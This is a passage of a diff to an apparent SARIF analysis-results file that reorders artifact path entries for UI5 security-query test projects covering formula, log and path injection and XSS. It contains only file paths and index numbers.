+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 103
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 104
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 105
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 106
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 107
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 108
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 109
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 110
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 111
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 112
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 113
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 114
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 115
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 116
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 117
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 118
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 119
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 120
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 121
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 122
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 123
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 124
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 125
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 126
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 127
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 128
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 129
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 130
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 131
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 132
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 133
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 134
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 135
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 136
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 137
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 138
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 139
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 140
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 141
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 142
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 143
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 144
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 145
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 146
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 147
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 148
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 149
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 150
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 151
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 152
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 153
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 154
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 155
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 156
       }
@@ -12944,1108 +13022,1126 @@
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 158
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 159
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 160
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 161
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 162
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 163
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 164
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 165
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 166
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 167
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 168
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 169
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 170
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 171
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 172
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 173
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 174
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 175
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 176
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 177
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 178
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 179
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 180
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 181
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 182
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 183
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 184
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 185
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 186
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 187
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 188
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 189
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 190
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 191
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 192
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 193
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 194
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 195
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 196
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 197
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 198
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 199
       }
     }, {
       "location" : {
